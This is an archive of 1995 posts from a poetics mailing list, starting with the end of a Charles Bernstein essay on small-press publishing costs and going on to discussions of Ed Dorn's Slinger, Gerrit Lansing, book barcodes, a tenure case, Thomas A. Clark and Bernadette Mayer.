Print-runs at Sun & Moon go from 1000 to 2000, depending, of course, on likely sales. Messerli notes that print-runs of less than 1000 drive the unit cost up too high and he encourages other literary presses to print a minimum of 1000 copies if at all possible. Sun & Moon titles are well-produced, perfectbound, and offset with full color covers. The printing bill for this runs from $2600 to $4000 as you go from 1000 to 2000 copies. Messerli estimates the cost of editing a 100-page poetry book at $300: this covers all the work between the press receiving a manuscript and sending it to a designer (including any copyeding and proofreading that may be necessary as well as preparation of front and back matter and cover copy). Typesetting is already a rarity for presses like Sun & Moon, with authors expected to provide computer disks wherever possible. Formatting these disks (converting them into type following specifications of the book designer) can cost anywhere from $300 to $1000, one of those variable labor costs typical of small press operations. The book designer will charge about $500. The cover will cost an additional $100 for

photographic reproduction or permission fees or both. Publicity costs must also be accounted for, even if, as at Sun & Moon, no advertising is involved. Messerli estimates publicity costs at $1500, which covers the cost of something like 100 free copies distributed to reviewers, postage and packing, mailings and catalog pages, etc. The total cash outlay here, then, for 2000 copies, is around $6800. (For the sake of this discussion, overhead costs -- rent, salaries, office equipment, phone bills, etc -- are not included; such costs typically are estimated at about 30 percent more than the cost of production). If all goes well, Sun & Moon will sell out of its print run in two years. Let's say Sun & Moon prints 2000 copies of the book and charges $10 retail; let's also say all the books were sold. That makes a gross of $20,000. Subtract from this a 50 percent wholesale discount (that is, most bookstores will pay $5 for the book) and that leaves $10,000. Subtract from this the 24 percent that Sun & Moon's distributor takes (and remember that most small presses are too small to secure a distributor with a professional sales force). That leaves $7600. Now last, but not to be totally forgotten, especially since I am a Sun & Moon author, the poet's royalty; typically no advance would be paid and the author would receive 10 percent of this last figure, or $760. That leaves $6840 return to the publisher on a cash cost of about $7000.

Charles Bernstein
[Later published in the _Arizona Quarterly_ 51, no. 1 (Spring 1995): 133-146]

=====

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315. William M. Northcutt
Slinger
Mon 18 Dec 1995

And why isn't Slinger funny anymore? A serious question I ask you who said so, as I sit here with my duck Helen Vendler who's rolling a dove-tail joint and trying to read Charles Bernstein aloud to me.

William Northcutt
Englische Literaturwissenschaft
Universitaet Bayreuth
95440 Bayreuth
Germany

[redacted]
fax:(921)553641

↑ Index

316. **Ron Silliman**
Bark Odes
Mon 18 Dec 1995

Dick Higgins writes

I do not have access to Lansing's book which Smith finds so overpriced, but I suspect the publisher was attempting to recoup his costs without eying the competition and market, naive perhaps but certainly understandable.

Well, it's worth every penny. As is any book by Gerrit Lansing. Although a fair portion (20 percent perhaps) of the poems here were also included in the North Atlantic Books edition of 1979 (which carries its price on its cover, pre-bar code days, as $4.00).

Which brings up some other points. First, to this eye (these eyes), it would seem that this is a new "selected" poems, tho Bertholf in his blurb states plainly "Gerrit Lansing has been writing a single, serial poem since he began writing more than thirty-five years ago." If that is to be taken literally (for there certainly is a non-literal way in which that is true of us all). Is this in fact to be read as a "single poem of many parts" and, if so, what of the missing parts?

Also, since Lansing still produces work that, in his own version of a projective heritage, profoundly utilizes its sense of visual shape on the page, I'm surprised, comparing these two texts, at how the rounded 10 point Navarro softens, almost occludes, that element of the poem compared with the 10 point Palatino of the earlier book (Navarro's letters are not only more rounded, but its lines very thin, its seriphs minimalized almost out of existence), which I note is credited as "Composition and design by Barrett Watten." The North Atlantic edition has a slightly larger page (half and inch taller, half an inch wider) and a 127 pages just over half the size of the Talisman House, Publishers edition (I like that quirky comma, Ed).

Often, when I buy I a collected I've sold off the smaller, earlier books from which it was constructed--largely in self-defense given the absolute limit of space one's house presents for a library--but in this case, owning one seems to make the other all the more dear, each volume illumines the other.

Not having bought the recent Transbluency (if I have that title right) of Jones/Baraka, I wonder how it differs from the late 70s Selected Poems of LeRoi Jones/Amiri Baraka that Morrow did, beyond say the Vangelisti intro (an odd choice for same?).

Comments?

Ron Silliman
[redacted]

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317. **Ron Silliman**
Re: Slinger
Mon 18 Dec 1995

William Northcutt asks a good question:
>
>And why isn't Slinger funny anymore?

I wasn't the one who originally said so, but I must say I've flip flopped on this work a number of times over the years. I recall when I first heard the opening sections of it (read aloud by Woody Haut from photocopied mss pages in the long-ago torn down student cafteria @ SF State) I had an almost allergic negative reaction, simply (I suspect) because it so willfully (gleefully) abandoned many of the presumptions of projective verse, not because it was funny as such (Olson's Maximus is full of humor and the persona itself often seems like an eight-foot version of Professor Irwin Corey, if you remember that 50s and 60s era comic (whom Pynchon once sent to accept an award on his behalf)) so much as because it dealt with actual, living pop culture, present day materials in a way that the hallowed sense of Material (whether in Olson's archival sense or, say, as Duncan treats the University of California regents in Passages, a coins for an eternal process of evil) seemed not to permit. Olson & Duncan in particular propose the poet as a fairly serious shaman, counterbalanced as they were by O'Hara, Whalen et al.

Later I would realize all the ways in which what Dorn did showed the limitations in projective verse, in many ways a more radical critique say than those made by Spicer precisely for having been inside the frame for as long as he was. (And one of the great stories of Projective Verse must be the dramatic ways in which Dorn, Baraka & to a lesser degree Levertov all very publically abandoned the project.)

But as the books came forward, or didn't, it also became clear that this comic book mode of scribing the end of philosophy was, as a narrative project (and as a project it saw itself as narrative in very profound ways), ultimately doomed. As a work, the book dissolves....

Since then of course, I've been saddened at the little squiblets of notebook that have come forth as the last quarter century's worth of work by Dorn, and appalled at the Babbitry of some of his editorial commitments and comments,

including (tho not limited to) publishing Clark's homophobic AIDs stuff. I suppose it don't help that he says in an interview somewhere that he doesn't need to read the language poets because Tom Clark tells him all he needs to know (!)

So when I go back to those gorgeously crafted and witty lines of Book I, I can't read them innocently anymore. These stanzas are the work of a man destroying himself as a poet. Where is the humor in that?

Ron Silliman
[redacted]

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318. **Mark Roberts**
Re: Bar Codes
Mon 18 Dec 1995

> *This is a bit off topic, but since it's come up more than once now:*
>
> *I believe it is a myth that barcodes encode the price. Frankly, I don't know where this idea comes from. The normal procedure -- say in a grocery store -- is for the barcode to contain nothing but a product identifying code. It may look to you like the register is scanning price, but that's not what's happening. The barcode reader scans the product code, this is sent to the store's computer where it's looked up in a database, and *the database* contains the price. Prices can change whenever they need to. I believe the way the product code works is that it's in two parts: there's an agency somewhere that registers companies assigning them a company code, and then each company assigns its own code for its individual products.*
>
> *I'm not sure how it works for books, but I'd assume the system is similar; I'd be quite surprised if the barcode did not include the ISBN. A lot of the more sophisticated bookstores give you a register slip that shows the name of the book. Clearly that information is coming from a database.*
>
> *There is no reason for a barcode sticker on a book to change when a price changes.*
>
> *--*
> *Jim Rosenberg http://www.well.com/user/jer/*
> *CIS: 71515,124*
> *WELL: jer*
> *Internet:* [redacted]

I've done some initial enquiries about placing barcodes on titles AWOL distributes (most small press books don't have barcodes and a number of bookshops have told me that they will not take t tles which are not barcoded).

From what I've been told by bookshops and the ABPA (Australian Book Publishers Association) the barcode contains the ISBN and product description. When the barcode is scanned it is matched to a record in a data base where the price is recorded.

Mark

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319. Hank Lazer
hartley-tenure case
Mon 18 Dec 1995

Thanks for various replies--front & back-channel--regarding George Hartley's tenure case. I wanted to reply specifically to the cautions offered by Marjorie Perloff, Aldon Nielsen, and George Higgins. Of course, you are right: letters that suggest a conspiracy or that suggest that Ohio State's English dept did an awful job would not help. They would be counter-productive. I would value any additional information about the decision itself, its basis. George claims not to know why the decision was made in the negative. He offered some speculations (which I have relayed once or twice back- channel...). So, Marjorie, if you do find out some pertinent information, please let me know.

Even so, I do think that letters may be of some limited help. I say this as an assistant dean who reads and makes recommendations on many tenure & promotion files each year. Marjorie, Aldon, and George are correct to urge some caution. And we should also remember that we do not have access to the complete file, and thus we cannot write letters that pretend to be a thorough review of the file itself nor of the process of decision-making. What I had in mind was more limited in scope and intent. First, letters can help buoy George's spirits. Second, letters can help the Dean and others to realize that George's work is read, respected, and of consequence. I plan to write a letter based on what I know--George's work--not one based on what I don't know (ie the decision-making process and the politics of the department). And we still do have time to learn a little more about the case.

Finally, the most likely avenue for reversing the department's decision will not be our letters but the appearance of some new compelling evidence in the case--such as an acceptance of George's second book-manuscript (which is currently being considered by a major academic press). Deans and others are more likely to respond favorably to new information than to letters from the morally or aesthetically outraged.

Perhaps if you feel that a letter to the Dean would be counter- productive, you might consider writing a note to George.

Thanks to each of you for your thoughts about George's case.

Hank Lazer

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320. **Chris Stroffolino**
Re: Slinger
Mon 18 Dec 1995

Dear Ron--thanks for your thoughtful mini-essay on Dorn's career... Of course, maybe to view SLINGER as central to what he's about is part of the problem of judging him---perhaps like judging Shakespeare in terms of Aristotlean unities!--- "But when the books came, forward, or didn't, it became clear that this comic book mode of describing the end of philosophy as a narrative project was ultimately doomed...." Interesting, but doomed more than POUND? Or just realizing the same mistake pound realized earlier? I mean earlier than POUND? And perhaps the tension between the comic book and the narrative is at least as productive as say bruce andrews?

↑ Index

321. **Keith Tuma**
Re: Slinger
Mon 18 Dec 1995

So we're casting stones (not the first) at Dorn's Slinger?

Is "America" still funny if its poet has only a few keys left on his squeeze- box?

Is Katherine Dunn's _Geek Love_ still satire after Waco?

Is the "new sentence" still new if it describes an old "period"?

It's laughter. It depends on your side.

--Chicken-House Willie's friend,

Helen Vendler

↑ Index

322. **Aldon L. Nielsen**
Re: disn dat
Mon 18 Dec 1995

---

well, there's some hope in this world -- I see that my local Tower Records store has copies of a Kevin Killian book on prominent display in their recently expanded book dept. alond with the five shelves of Rollins (NOT Sonny) and the ten of Bukowski -- Kevin, I was never so glad to see you!

Maybe someone who knows the particulars of George's situation at Ohio State could quietly fill in those of us who show up at the Sun & Moon or Millenium gatherings in Chicago next week??? and then we could talk about how we might be of help ?

aloing alond along --

↑ Index

323. Ward Tietz
Re: Gomringer, concrete poetry & humor
Mon 18 Dec 1995

Robert, thanks for the request for more info on the sound poetry festival in Geneva. For the last several years it has been organized by Vincent Barras, who, along with Nicholas Zurbrugg, edited a book of essays and interviews entitled Poesies Sonores (in French) in 1992 (Editions Contrechamps, ISBN 2-940068-00-3). Anyway, two evenings are usually programmed each year for Poesie Sonore as part of the larger several week-long Festival de Geneve in late August / early September.

This year's festival was not strictly about sound poetry since it was loosely structured around Gomringer and concrete poetry, which still seems to be not very well known in French-speaking Europe. Last year's festival ('94) was a combination rock/homage to William Burroughs' via phone link, featuring John Giorno and others. The year before ('93) the theme was musical, with emphasis on the voice. Paul Dutton, Trevor Wishart, and David Moss performed as well as Eric and Marc Hurtado (Etant Donnes). Each year there are also talks, some performance pieces (I did one with Guenter Ruch two years ago using large, 3-D letters), and usually some contemporary compositions.

For anyone interested, Vincent Barras can be contacted at 48 ch. de Carabot, CH-1213 Onex-Geneva, Switzerland.

So how is sound poetry doing in Europe? Probably better than in North America, where a lot of interesting work is doubtless being done, but probably under the more general rubric of performance. The term sound poetry supposes a relation to literature that performance doesn't have, but it has never been completely clear what this distinction accomplishes, except to establish a polemic vis-a-vis literature. In other words, the question has always been is sound poetry poetry?

Ward Tietz
rte. de St. Cergue, 48a
CH-1260 Nyon
Switzerland

↑ Index

324. **Bill Luoma**
Re: Slinger
Mon 18 Dec 1995

---

doorne looses if he hasn't read ketjak.
but
slinger thumbs out of 20th c lit just as ketjak, just as spring et al, kora in hell. ketjak gets more amazing in its strangeness and isolation as the years go by (& we're approaching 20. let's have a party when it turns).

Bill Luoma

↑ Index

325. **Robert Drake**
Re: Bark Odes
Mon 18 Dec 1995

[Lansing's work]...>profoundly utilizes its sense of visual shape on
>the page, I'm surprised, comparing these two texts, at how the rounded
>10 point Navarro softens, almost occludes, that element of the poem
>compared with the 10 point Palatino of the earlier book (Navarro's
>letters are not only more rounded, but its lines very thin, its seriphs
>minimalized almost out of existence)...

always glad to see awareness of the visual element of poetry- on-the-page, which always seems to be to be a factor, even in poetry that is not as visually oriented as, say, concrete work. cheers for the appreciation of a well-designed book!

lbd

↑ Index

326. **Rae Armantrout**
calling Loss
Mon 18 Dec 1995

Dear Loss,

I've lost your e mail address and, more importantly, your ground address. I have something to send you now for EPC. Let me know once more where to send it.

Rae Armantrout

↑ Index

327. **Rod Smith**
Re: working bibliography
Mon 18 Dec 1995

Found this in the outgoing mailbox, must've meant to add a few more. Any case, compliments to both these listers--

Susan Schultz (ed.)-- _The Tribe of John: Ashbery and Contemporary Poetry_ U. Alabama Press. Contributors include Charles Altieri, Charels Bernstein, George Bradley, Bonnie Costello, John Ernest, John Gery, John Koethe, James McCorkle, Stephen Paul Miller, Fred Moramarco, Jonathan Morse, Donald Revell, Andrew Ross, and John Shoptaw. $28.95 pb.

A.L. Nielsen's two U. Georgia books, _Writing Between the Lines: Race & Intertextuality_ ($45 hc) and _Reading Race: White American Poets and the Racial Discourse in the Twentieth Century_ ($12.95 pb).

--Rod

↑ Index

328. **Rod Smith**
Can You Hear, Bird
Tue 19 Dec 1995

I wholeheartedly believe the new Ashbery, _Can You Hear, Bird_ is durn terrific-- curious what others think. "Do not go into Hawaii./ Even the price tags are afraid." That the beginning of a poem called "Gladys Palmer." Seems his styles have become even smoother, even more permeable, while remaining reflexive, entertaining.

--Rod

↑ Index

329. **Kevin Killian**
SPT newletter reviews
Tue 19 Dec 1995

I know this isn't the best time to post this since many of you are on your winter break, but Small Press Traffic is going to be featuring Chax Press and Talisman House in its next newsletter. Anyone who is interested in doing *very brief* reviews (200-300 words) of any of the books published by these presses, please contact me.

A list of the books follows.

Thanks.

Dodie Bellamy

CHAX PRESS

> *Kathleen Fraser, When New Time Folds Up*
> *Norman Fischer, Precisely the Point Being Made*
> *Nathaniel Tarn, Caja del Rio*
> *Rosmarie Waldrop, Fan Poem for Deshika*
> *Nathaniel Mackey, Outlantish*
> *Ron Silliman, Demo to Ink*
> *Beverly Dahlen, A Reading 8 =F1 10*
> *Gil Ott, Wheel*
> *Karen Mac Cormack, Quirks & Quillets*
> *Sheila Murphy, Teth*
> *bp Nichol, Art Facts: A Book of Contexts*
> *Larry Evers & Felipe S. Molina, Coyote Songs*
> *Mei-mei Berssenbrugge, Mizu*
> *Charles Alexander, Hopeful Buildings*
> *Lyn Hejinian & Kit Robinson, Individuals*
> *Eli Goldblatt, Sessions*
> *John Randolph Hall, Zootaxy*
> *Jackson Mac Low, French Sonnets*

TALISMAN HOUSE

Dodie Bellamy/Sam D'Allesandro, Real
William Bronk, The Mild Day
William Bronk, Our Selves
William Bronk, Manifest; And Furthermore
Joseph Donahue, World Well Broken
Edward Foster, ed., Postmodern Poetry
Mark Jacobs, A Cast of Spaniards
Stephen Jonas, Selected Poems
Gerrit Lansing, Heavenly Tree/ Soluble Forest
Alice Notley, Selected Poems
Simon Pettet, Selected Poems
Jack Spicer, The Tower of Babel
Gustaf Sobin, By the Bias of Sound
Schwartz, Donahue, and Foster, eds., Primary Trouble: An Anthology of Contemporary American Poetry

↑ Index

330. William M. Northcutt
Re: Slinger
Tue 19 Dec 1995

I suppose since I know nothing about Dorn outside of his early work, Slinger remains enjoyable to me. It may be that it's dated, but as I read it the last time, I thought about how easy it would be to replace Howard Hughes with Rupert Murdock or Ted "Can I Get a Witness" Turner--that is, whatever Dorn thinks, believes now doesn't change what is radical in Slinger. And as for Pound, there has been a lot of work over the last decades pointing out what a fascist he was--true, but that doesn't change the fact that there's a lot of kicking against the pricks in the early Cantos.

My duck Helen Vendler likes especially to roll big doobs while reading Cantos XIV, XV and XXVII

Chicken House Willie

William Northcutt
Englische Literaturwissenschaft
Universitaet Bayreuth
95440 Bayreuth
Germany

[redacted]
fax:(921)553641

↑ Index

331. Landers
Re: Slinger
Tue 19 Dec 1995

Mon, 18 Dec 1995 Ron Silliman wrote:
>
>William Northcutt asks a good question:
>>
>>And why isn't Slinger funny anymore?
>
[snip]
>
>...I had an almost allergic negative reaction, simply (I suspect)
>because it so willfully (gleefully) abandoned many of the presumptions
>of projective verse, ...

[snip]
>
>Later I would realize all the ways in which what Dorn did showed the
>limitations in projective verse, ...

In my own pursuit of the Black Mountain poets, I tried out Dorn because he was the recipient of the Projective Verse letter. It was obvious, however, that he never did get the point.

[snip
>
>But as the books came forward, or didn't, it also became clear that
>this comic book mode of scribing the end of philosophy was, as a
>narrative project (and as a project it saw itself as narrative in very
>profound ways), ultimately doomed. As a work, the book dissolves....

Because, of course, philosophy is alive and well in the works of William Bronk, yourself, Charles Stein, etc. I don't want to continue the list or someone may think it's my (gasp!) top ten list. I'm glad the people who call themselves philosophers have abandoned the field to us. It was ours in the first place, and they never managed to steal it, even in Goethe's day.
>
>Since then of course, I've been saddened at the little squiblets of
>notebook that have come forth as the last quarter century's worth of
>work by Dorn, and appalled at the Babbitry of some of his editorial
>commitments and comments, including (tho not limited to) publishing
>Clark's homophobic AIDs stuff. I suppose it don't help that he says in
>an interview somewhere that he doesn't need to read the language poets
>because Tom Clark tells him all he needs to know (!)

My own objection to that last-named person is the similarity of his name to the (how else to say it) *wonderful* Thomas A. Clark. I asked Dorn about the AIDS nonsense (in which he and Tom Clark propose infecting certain people with AIDS) and he got angry, denied writing it, and shouted, "It was just a joke!" Years later, I still have trouble with Slinger. I can't see his statements as other than pompous. And as for the rest? Maybe some fan of Ed Dorn should come to his defense. It does nothing for me.

Is anything really a joke when no one but the teller is laughing?

Pete Landers
[redacted]

another p.s. for Dick: So foew&... cost more than $2.50 each to make, eh? You had me going. Thanks for the advice, though. I've already decided that all capital invested must be given up for lost (a stance my partner doesn't

appreciate.) BTW, that choreographer I mentioned carries that book around in her backpack. Will she ever return it?

↑ Index

332. cris cheek
Re: desire / and the 39 steps
Tue 19 Dec 1995

---

fell cycles, jack the boy dull from his empty net an imitation coin. on realigning scented letters claim this waxing scheme re-plateaud saccarine. each purpose as tattooed between our breathing skins a frosting pain her energising spleen. from plunge.

↑ Index

333. Ron Silliman
Thomas A. Clark
Tue 19 Dec 1995

Pete Landers brings up a good point, the unfortunate coincidence of names between a certain grumpy westcoast bookreviewer and pseudobiographer (my fave is not the Olson bio, which shows curiously little interest in the poetry, but the "as-told-to" autobio of Mark 'The Bird' Fydrich some years back--say, how come the Baseball Encyclopedia doesn't include bibliographies for each player?) and that tremendous British poet, Thomas A. Clark, someone who has always struck me as not nearly published nor distributed widely enough.

Four of the seven books of his I own are too small to be perfect bound, one -- a beautiful sequence called Cries of the Poor -- appears simply to have been typed and stapled.

Examples:

From _The *Pocket* Glade Dictionary_

Bird

A small feathered verterbrate. The fore limbs are modified into wings fitted for flight. It has a four-chambered heart which inspires it to sallies of caprice and volatility.

Deer

A type of after-image caused by spots of light penetrating the dense foliage of the wood. The illusion of an insubstantial presence occasioned by a breath of wind among the grasses.

Flower

The best of anything. A figure of speech. An ornament of style.

(NB. The above poems are printed as "centered" prose paragraphs, one to a page)

From _Cries of the Poor_

A young female child calling at a house in London, selling matches.

*

A female street-seller, somewhere in London, with matches and save-alls in her hands and a large basket of stock on her right arm.

*

A well known elderly lady, wearing a much-patched coat,with a large basket of matches on her left arm and a staff in her right hand.

*

A London street-seller, in an extremely ragged costume, holding bundles of matches fanned out in a manner devised by himself.

*

A poor woman who has for years been subject to the misfortune of having only one leg, one eye, and one toe.

*

A man selling matches at the front at Brighton.

(NB: again, the above printed one to a page in my edition)

I only met Thomas A. Clark once, when he was honeymooning in the States in '73. A modest, brilliant young man.

Ron Silliman

[redacted]

↑ Index

334. Michael Boughn

Re: Slinger

Tue 19 Dec 1995

> *And as*
> *for Pound, there has been a lot of work over the last decades pointing out what a fascist he was--true, but that doesn't change the fact that there's a lot of kicking against the pricks in the early Cantos.*
>
> *Chicken House Willie*

Too true. And for those of us who have come to realize that the evil is not all "out there", the Pisan Cantos remain among the most terrific and moving poetry of the mid-century.

Mike
[redacted]

↑ Index

335. **Michael Boughn**
Re: Slinger
Tue 19 Dec 1995

> *Years later, I still have trouble with Slinger. I can't see his statements as other than pompous. And as for the rest? Maybe some fan of Ed Dorn should come to his defense. It does nothing for me.*
>
> *Is anything really a joke when no one but the teller is laughing?*

If Dorn chose to play post-Modern Pope to Olson's post-Modern Milton, I say more power to him. Part of the problem is no one reads Pope these days, or Milton, so who's going to measure that achievment? As for Dorn's "squibs", _Abhorrences_ is among the most brilliant political poetry in the satirical tradition produced in the depths of the current Political Reaction.

Free Market Chinoiserie

There will never be enough BMWs
for the stated Billion, there will never
even be enough paper towel
or gas barbeques or ever enough ribs
or sauce for those short ribs. There will never
be enough coupons to clip or scissors
to clip them with--and there will never be
enough accountants to count it all
or paper to keep the accounts on
or discs to store the accounts
for which there will never be entries enough.
Someone should tell them.

Why is everyone so anxious to bind up the world with their unforgiving moralistic judgements (that's NOT funny and you're going to poet's hell for your bad taste), masquerading plain old bad blood behind a facade of aesthetic and political theory?

Mike
[redacted]

↑ Index

336. cris cheek
brief anthology of wrung-doings
Tue 19 Dec 1995

(e-Rengan Newsletter from Jorge Guitart, Tom Bell, Gabrille Welford, cris cheek, Jordan Davis, Maria Damon, Lisa Samuels, Chris Scheil, Sheila E Murphy and Abilnasarowe Histomarijo)

Subject: rain of head, training of negligence

unexpectedness behind roaring image
voices of souvenirs and trains
the exterior image clap

unremitted, "the man"
shattered his messy walls
speech laws against trance
leafing my kind of decay
against the zoning pleasure
the miracle of a points

liberated fragments of loneliness
blots leaving afterglows of grace
a big firm, hung of Santa head
extolling desperation in the well
dead books vertical trestles singing

subject - X-Attachments & the unexpectedness of voices and the steady rain of mink blood behind the exterior of the dance of the devils on the head of a pin by the roaring sound of trains and the hamboned clap driven training of souvenirs becomes an image of a blank foot tossed in the isles of negligence Okay ?

the unremitted pleasure of decay against the walls of a willingness to please my-kind-of-plastered town "scared" zoning laws into the miracle of "the man" by his messy points leafing a salad speech of trance filming his chattered type of diffidence when dried ?

the device of head trestles with wool-blurs of grace to the well pit the tip of her tongue hung in afterglows of desperation wineing the Santa of loneliness on the lip of leaving the firm by extolling the ffffffffffffffragments of blots render books a bit vertical singing old scores of the liberated dead

rough ?

rain of head, training
roaring image
trains

unremitted

speech laws against trance
decay
pleasure

of loneliness
leaving

dead books singing

↑ Index

337. **Charles Alexander**
Re: Thomas A. Clark
Tue 19 Dec 1995

Just a further note of support for the work of Thomas A. Clark. Madder Lake, published in 1981 by Coach House, is particularly recommended. I had the privelege of printing a letterpress broadside of a poem of his once, for a reading at Woodland Pattern in Milwaukee.

from A Meadow Voyage, by Thomas A. Clark

(from Madder Lake)

weighed anchor
under the sun

our boat
painted green with
a border of blue

the art of
navigation

a feather
in mid-air

↑ Index

338. Keith Tuma
midwinter
Tue 19 Dec 1995

Who said the errors of criticism are the errors of omission? Who cares? Anyway, it's almost Midwinter Day, which I hereby re-name Bernadette's Day:

There are some things we cannot say!
No, I can't say that!

The awful presence of the obvious,
abdicated time,
Never relents in its demand to speak all at once
Because but for that there's the chance
The rest of what's begun to be lost might be lost
Like putting all one's bushels in an apple forever. . .

--Bernadette Mayer, 1982

↑ Index

339. Hank Lazer
Re: oops
Tue 19 Dec 1995

Poetics Group--

Inadvertently, I sent a message to the whole group instead of privately to Aldon Nielsen. My apologies. The information, concerning George Hartley's tenure case, though, may be helpful to others of you expressing an interest in the case. My apologies and embarrassment, since I meant to send it to Aldon as requested....

Hank Lazer

↑ Index

340. Joe Amato
Re: midwinter
Tue 19 Dec 1995

---

keith, thanx for reminding me of that... i think i'll pull bmayer's book off the shelf and reread my favorite section, part three...

best,

joe

↑ Index

341. Aldon L. Nielsen
*Re: _Transbluesency_*
Tue 19 Dec 1995

Rushing this morning, so no time to do the kind of close comparison between the old Baraka _Selected_ and the new, as Ron asked,,,, but here are some preliminary points:

--re: recent discussions, the price of the old, printed on the cover, was only $5.95 --

--more significantly, the new has NO POEMS AT ALL from _Spirit Reach_, which strikes me and several others as odd --

--new vol. has some of the new stuff, including "Heathens," which is great, and stuff from _Whys_ -- on the latter, the version of the text in _Transbluesency_ is not identitical to the version published simultaneously by Third World Press--

The politics of all this would be an interesting study -- why was the old Morrow allowed to go out of print? The new vol. is important also because the Baraka Reader, despite its many merits, is short on the poetry-- the new intro. is also odd, but folks can discover that for themselves --

The Morrow _Selected Prose_ has materials in it, including a chapter from the never published second novel, that make it worth finding -- again,,,, why is this out of print?

↑ Index

342. Charles Alexander
Re: Slinger
Tue 19 Dec 1995

Thanks to Michael Boughn for pointing out that there are, even recently, some flashes of brilliance in Dorn's work, and some very sharp movements of language, even if he doesn't read "language" work, and despite the truth of what Ron Silliman says about the general trajectory of his poetic career. I like this note, from Captain Jack's Chaps or Houston/MLA, which is post-Slinger, but pre-Abhorrences --

A Piece of Advice:
It is Far Better to Copter in,
but Even That Way You Can Lose a Blade

In Hughestown, it is good
to be inside, in Hughestown
it is better to look *out on*
than to look *into.*

In Hughestown they have constructed
ramps, the transmundane conduits
of executive perfumery.

But this is not climate control
as in St. Paul.
These elongated bunkers
protect the prominaders
from the anger of the pomaders
crowded around the Wig Wam
pitched in the concrete universe below
where identities are exchanged
in a wink
for exaggeration's sake.

And I think Michael's right, that we don't read Pope much anymore, and that "comic" is a difficult proposition when attached to Slinger or to Dorn in general. "Satire" might come closer, although in some ways this pastiche mixes modes and has lots of moments of rather elegant pronouncements, a la Olson, which, granted, some might find comic as well.

charles alexander

> *Years later, I still have trouble with Slinger. I can't see his statements as other than pompous. And as for the rest? Maybe some fan of Ed Dorn should come to his defense. It does nothing for me.*
>
> *Is anything really a joke when no one but the teller is laughing?*
>
> *If Dorn chose to play post-Modern Pope to Olson's post-Modern Milton, I say more power to him. Part of the problem is no one reads Pope these days, or Milton, so who's going to measure that achievment? As for Dorn's "squibs", _Abhorrences_ is among the most brilliant political poetry in the satirical tradition produced in the depths of the current Political Reaction.*
>
> > *Free Market Chinoiserie*
> >
> > *There will never be enough BMWs*
> > *for the stated Billion, there will never*
> > *even be enough paper towel*
> > *or gas barbeques or ever enough ribs*
> > *or sauce for those short ribs. There will never*
> > *be enough coupons to clip or scissors*
> > *to clip them with--and there will never be*
> > *enough accountants to count it all*
> > *or paper to keep the accounts on*
> > *or discs to store the accounts*

> *for which there will never be entries enough.*
> *Someone should tell them.*
>
> *Why is everyone so anxious to bind up the world with their unforgiving moralistic judgements (that's NOT funny and you're going to poet's hell for your bad taste), masquerading plain old bad blood behind a facade of aesthetic and political theory?*
>
> *Mike*
> [redacted]

↑ Index

343. Steven Howard Shoemaker
Chicago gatherings
Tue 19 Dec 1995

Aldon wrote:

"Maybe someone who knows the particulars of George's situation at Ohio State could quietly fill in those of us who show up at the Sun & Moon or Millenium gatherings in Chicago next week??? and then we could talk about how we might be of help ?"

Can somebody re-post the info on these gatherings, or back-channel to me?

Thanks,
steve

↑ Index

344. Eryque Gleason
Re: midwinter
Tue 19 Dec 1995

my concept of time is so screwey right now that i hadn't realized i'd picked the perfect time of year to read it. part six tonight....

love,
eryque

↑ Index

345. Alan Golding
Twentieth-Century Lit. Conference
Tue 19 Dec 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

If anyone's interested in chairing a panel at this year's Twentieth-Century Lit. Conference, Feb. 22-24, 1995, please contact Harriette Seiler, the Conference Director, at [redacted]. This year's speakers/readers include Rachel Blau DuPlessis, Barrett Watten, Stephen Wright, and Michael Weaver.

"For whom is Slinger still funny?" would be another way of asking that question. I still take great pleasure in Books I (especially) and II. But part of that pleasure may be a possibly generational pleasure in getting a lot of the "in" jokes (some of the more arcane rock quotations, for instance). And to what extent does my pleasure in this particular comic text have an element of baby boom nostalgia in it too? I'm not sure. I still find Slinger funny; but the last time I taught it, a lot of my students found it dated (that's what I mean by "generational pleasure"--their points of popular reference were not mine).

So does that mean that any text thoroughly and explicitly immersed in "popular culture," as comic texts often-are, will always-date? Are there particular kinds of comic poems (not all) that are by definition occasional/ephemeral? And does that matter? Maria? Anyone? I *know* I'm going to regret bringing this up, but I'm desperate for some way to continue my avoidance of grading final papers and doing holiday shopping.

↑ Index

346. Susan Schultz
Re: Can You Hear, Bird
Tue 19 Dec 1995

Here in Hawai'i it's we who are afraid of the price tags!

On Mon, 18 Dec 1995, Rod Smith wrote:

> *I wholeheartedly believe the new Ashbery, _Can You Hear, Bird_ is durn terrific-- curious what others think. "Do not go into Hawaii./ Even the price tags are afraid." That the beginning of a poem called "Gladys Palmer." Seems his styles have become even smoother, even more permeable, while remaining reflexive, entertaining.*
>
> *--Rod*

↑ Index

347. Michael Boughn
More Slinger
Tue 19 Dec 1995

> *So does that mean that any text thoroughly and explicitly immersed in "popular culture," as comic texts often-are, will always-date? Are there particular kinds of comic poems (not all) that are by definition occasional/ephemeral? And does that matter? Maria? Anyone? I *know* I'm going to regret bringing this up, but I'm desperate for some way to continue my avoidance of grading final papers and doing holiday shopping.*

If you read Slinger as a mock-epic, in the tradition of, say, Dryden's Mac Flecnoe or Pope's Rape of the Lock, then the references to popular culture become significant in any number of ways. They meet the epic's demand for a connection to the gods, and for a thick layer of reference, among other things. Milton, working with Christian figures, plays with the Latin and Greek gods. Pope, playing with Milton, turns them amusingly into Sylphs, figures from Rosicrucian pseudo-mythology, then trendy in Tory social circles. Dorn is just making the translation, and he does it brilliantly, as brilliantly as Pope, anyway, I think.

Slinger is not, to my understanding, a comic poem. It's a Juvenalian satire in the mode of the mock-heroic.

Mike
[redacted]

↑ Index

348. Wystan Curnow
Re: midwinter
Tue 19 Dec 1995

Dear Keith,

Thank you for the Mid-Winter clip. Which brings me to ask for news of Bernadette Mayer. Last list word of her was of her ill health.

Here summer is up. The coastline is red with pohutukawa blossom. Pakistan is here, and the West Indies are in Australia. We hear how deep poetics is in Buffalo snow and give an involuntary shiver (brrrrr!)

Seasons greetings
Wystan

↑ Index

349. **Jordan Davis**
midwinter the function of readings
Tue 19 Dec 1995

Bernadette Mayer was at the Mark Wallace/Laynie Browne reading at the Ear last Saturday sitting right up front (that is, in the very back). From where I was sitting (at the bar, blocking Charles Bernstein's view) she seemed to be having a good time. Love, Jordan

↑ Index

350. **Bill Luoma**
Pound as Listserv
Tue 19 Dec 1995

